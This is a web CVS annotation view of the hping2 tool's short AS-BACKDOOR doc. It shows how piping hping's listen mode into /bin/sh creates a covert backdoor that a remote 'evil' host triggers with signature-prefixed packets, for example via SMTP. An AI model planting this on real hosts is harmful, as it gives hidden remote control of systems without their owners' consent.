Return to AS-BACKDOOR CVS log

Up to [ELWIX - Embedded LightWeight unIX -] / embedaddon / hping2 / docs

Annotation of embedaddon/hping2/docs/AS-BACKDOOR, revision 1.1.1.1

1.1       misho       1: hping can be used as a backdoor. Just try the -9 (--listen) option
                      2: and put in pipe with /bin/sh:
                      3: 
                      4: Put hping in listen mode in the victim host.
                      5: 
                      6: victim# hping -I eth0 -9 mysign | /bin/sh
                      7: 
                      8: Every packet that contain "mysign" will be processed by hping,
                      9: all the bytes that follows "mysign" in the packet will be dumped
                     10: to the standard output, so for example I'll able to exec commands
                     11: using all types of protocols. Just for example I can use the smtpd
                     12: to exec 'ls' in the victim.
                     13: 
                     14: evil$ telnet victim 25
                     15: 
                     16: Trying 192.168.1.1...
                     17: Connected to nano (192.168.1.1).
                     18: Escape character is '^]'.
                     19: 220 nano.marmoc.net ESMTP Sendmail
                     20: mysignls;
                     21: 
                     22: on the victim you will see:
                     23: 
                     24: victim# hping -I eth0 -9 mysign | /bin/sh
                     25: hping2 listen mode
                     26: bin   cdrom  etc     home  local-home  mnt   root  tmp  var
                     27: boot  dev    export  lib   lost+found  proc  sbin  usr
                     28: : command not found
                     29: 
                     30: As you can see I used 'ls;' since otherwise the shell will receive
                     31: just ls^M. The ";" force the command execution (at least with bash and zsh,
                     32: check your shell for more information).
                     33: 
                     34: This works with all kind of valid not-filtered IP packets, the higher
                     35: level protocl does not matter.
                     36: 
                     37: antirez <antirez@invece.org>